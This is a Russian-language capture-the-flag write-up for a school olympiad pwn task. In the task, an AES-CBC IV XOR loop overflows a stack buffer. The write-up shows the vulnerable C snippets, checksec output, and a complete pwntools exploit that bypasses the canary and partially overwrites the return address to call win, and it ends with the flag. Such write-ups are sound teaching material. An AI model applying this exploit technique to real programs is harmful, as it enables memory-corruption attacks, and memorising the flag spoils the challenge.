# PWN 9 класс — Single Block

## Описание
Программа позволяет выполнять шифрование AES-CBC одного блока длиной 128 бит.
Plaintext и ключ имеют фиксированный размер 16 байт.

```c
uint8_t block[16];
size_t  i;
unsigned int b;

printf("  Plaintext (16 hex bytes):\n  > ");
for (i = 0; i < 16; i++) {
    if (scanf("%02x", &b) != 1) { puts("  [!] Bad hex."); return; }
    block[i] = (uint8_t)b;
}
```

Однако IV может быть произвольного размера до 512 байт.

```c
#define MAX_IV 512
// ...
static uint8_t iv[MAX_IV];
static size_t  iv_len = 0;
// ...
printf("  IV (hex bytes):\n  > ");
fgets(line, sizeof(line), stdin);

while (iv_len < MAX_IV && sscanf((line + iv_len*2), "%2hhx", &iv[iv_len]) == 1) {
    iv_len++;
}
```

В функции `cmd_encrypt` имеется уязвимость при инициализации режима шифрования: в качестве границы цикла используется длина IV, которая может быть больше длины блока.

```c
for (i = 0; i < iv_len; i++) {
    block[i] ^= iv[i];
}

aes128_encrypt_block(block, MASTER_KEY);
```

Это позволяет применить побайтовую операцию XOR за границами массива `block` и изменить значение адреса возврата, расположенного ниже по стеку.

```
pwn checksec ./chall
[*] './chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes
```

PIE включен, но в адресе возврата необходимо изменить только младшие 12 бит, которые не рандомизируются, за счет того что `main` и `win` располагаются в границах одной страницы памяти, что позволяет вызвать функцию `win` без получения утечки адреса исполняемого файла.
Для того, чтобы обойти проверку стековой канарейки, необходимо в качестве второго операнда для XOR с байтами canary на стеке использовать значение `\x00`, что не приведет к изменению значения канарейки.

## Код эксплойта
```py
#!/usr/bin/env python3
from pwn import *

exe = ELF("../deploy/chall")

context.binary = exe

p = remote("localhost", 5000)

p.sendlineafter(b"> ", b"i")

iv =  b"A" * 16
somevar = p64(0) # не изменяем
canary = p64(0) # не изменяем
saved_rbp = p64(0xdeadbeef) # совершенно не важно это значение

return_address = exe.symbols["main"]+174 # адрес возврата из функции cmd_encrypt
win = exe.symbols["win"]

# адрес возврата и адрес win отличаются только младшими 12 битами, которые не рандомизируются
assert (return_address >> 12) == (win >> 12)

new_return_address = p64((win ^ return_address) & 0xfff)

pl = iv + somevar + canary + saved_rbp + new_return_address

p.sendlineafter(b"> ", pl.hex().encode())

p.sendlineafter(b"> ", b"e")

plaintext = b"00112233445566778899AABBCCDDEEFF"
p.sendlineafter(b"> ", plaintext)

p.interactive()
```

## Флаг
```
vsosh{cbc_h4s_n0_b0unds_xddd}
```
